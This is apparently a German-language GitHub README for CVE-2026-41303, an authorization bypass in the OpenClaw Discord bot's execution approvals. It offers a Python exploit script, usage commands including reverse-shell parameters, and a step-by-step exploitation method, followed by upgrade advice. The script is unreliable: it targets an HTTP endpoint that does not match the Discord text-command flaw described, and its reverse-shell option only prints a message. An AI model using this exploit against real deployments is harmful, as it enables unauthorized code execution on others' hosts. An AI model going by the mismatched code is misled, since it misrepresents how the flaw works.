kaleth4/cve-2026-41303Technische Dokumentation und Proof-of-Concept für CVE-2026-41303, eine Autorisierungsumgehung im OpenClaw-Discord-Bot, einschließlich Exploitation-Methodik, Minderungsmaßnahmen und defensiven Empfehlungen.
Vollständige technische Dokumentation zur Schwachstelle der Autorisierungsumgehung in OpenClaw
Dieses Repository enthält technische Informationen, Analysen und Empfehlungen zur Schwachstelle CVE-2026-41303, die eine Autorisierungsumgehung bei den Ausführungsgenehmigungsbefehlen im Projekt OpenClaw ermöglicht.
Es wurde ein kritischer Fehler in OpenClaw-Versionen vor 2026.3.28 identifiziert. Das Problem liegt in den Textgenehmigungsbefehlen von Discord, bei denen Benutzer, die nicht zur Liste der autorisierten Genehmiger (channels.discord.execApprovals.approvers) gehören, ausstehende Host-Ausführungsanfragen genehmigen können.
| Parameter | Wert |
|---|---|
| CVE-ID | CVE-2026-41303 |
| Betroffenes Produkt | OpenClaw |
| Schwachstellentyp | Authorization Bypass (CWE-863) |
| Angriffsvektor | Textbefehle in Discord |
| Plattform | Linux / Discord |
| CVSS-Score | 8.8 (Hoch) |
| Betroffene Versionen | < 2026.3.28 |
| Status | Behoben in v2026.3.28+ |
Die Schwachstelle liegt in der fehlenden Autorisierungsvalidierung im /approve-Befehls-Handler des OpenClaw-Bots. Das System überprüft nicht korrekt, ob der Benutzer, der den Befehl ausführt, zur Liste der autorisierten Genehmiger gehört, bevor die Anfrage verarbeitet wird.
Ein Angreifer mit Zugriff auf den Discord-Kanal, in dem die Genehmigungen verwaltet werden, kann:
-red?style=flat&logo=owasp){kind=icon}
Nicht autorisierter Benutzer
↓
Zugriff auf den Discord-Kanal
↓
Identifiziert ausstehende Genehmigungs-ID
↓
Führt Befehl /approve aus
↓
Bot genehmigt ohne Berechtigungsprüfung
↓
Remote-Code-Ausführung (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Konfiguration professioneller Argumente für die Prüfung
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Genehmigungsumgehung in OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Beispiele für die Verwendung:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL der Instanz oder des Bot-Kontexts")
parser.add_argument("--token", required=True, help="Discord-Token des Angreifers/Prüfers")
parser.add_argument("--channel-id", required=True, help="ID des Discord-Kanals")
parser.add_argument("--approval-id", required=True, help="ID der zu umgehenden Genehmigung")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Art der Genehmigungsentscheidung (Standard: allow-once)")
# Zusätzliche Parameter für Post-Exploitation
parser.add_argument("--lhost", help="IP für Reverse Shell, falls die Genehmigung ein RCE aktiviert")
parser.add_argument("--lport", help="Listening-Port")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose-Modus")
args = parser.parse_args()
# Exploitationslogik
print(f"[*] Starte Bypass für die Genehmigung: {args.approval_id}")
print(f"[*] Zielkanal: {args.channel_id}")
print(f"[*] Entscheidung: {args.decision}")
if args.verbose:
print(f"[DEBUG] Token: {args.token[:20]}...")
print(f"[DEBUG] Target: {args.target}")
# Erstellung der fehlerhaften Anfrage
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Senden des /approve-Befehls ohne Berechtigungsvalidierung
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Bypass erfolgreich! Genehmigung ausgeführt.")
print(f"[+] Antwort: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse Shell konfiguriert auf {args.lhost}:{args.lport}")
else:
print(f"[-] Fehler: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Ausnahme: {str(e)}")
if __name__ == "__main__":
main()
# Grundlegende Verwendung
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Verbose-Modus
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Mit Reverse Shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Zugriff auf den Discord-Kanal erhalten, in dem OpenClaw interagiert
2. Bot-Nachrichten überwachen, um IDs ausstehender Genehmigungen zu identifizieren
3. Das genaue Format der Genehmigungsanfragen erfassen
4. Die Struktur der /approve-Befehle dokumentieren
1. Das PoC-Skript mit den erfassten IDs ausführen
2. Die Entscheidung (allow-once oder allow-always) zusammen mit den Parametern senden
3. Der Bot verarbeitet den Befehl ohne Validierung der Benutzerberechtigungen
4. Die Genehmigung wird erfolgreich ausgeführt
Wenn die Textgenehmigung in Discord automatische Funktionen auf dem Server aktiviert:
↓
Code-Bereitstellungen
↓
Remote-Code-Ausführung (RCE)
↓
Vollständige Kompromittierung des Systems
1. OpenClaw aktualisieren
# Auf Version 2026.3.28 oder höher aktualisieren
pip install --upgrade openclaw>=2026.3.28
# Oder aus dem offiziellen Repository
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .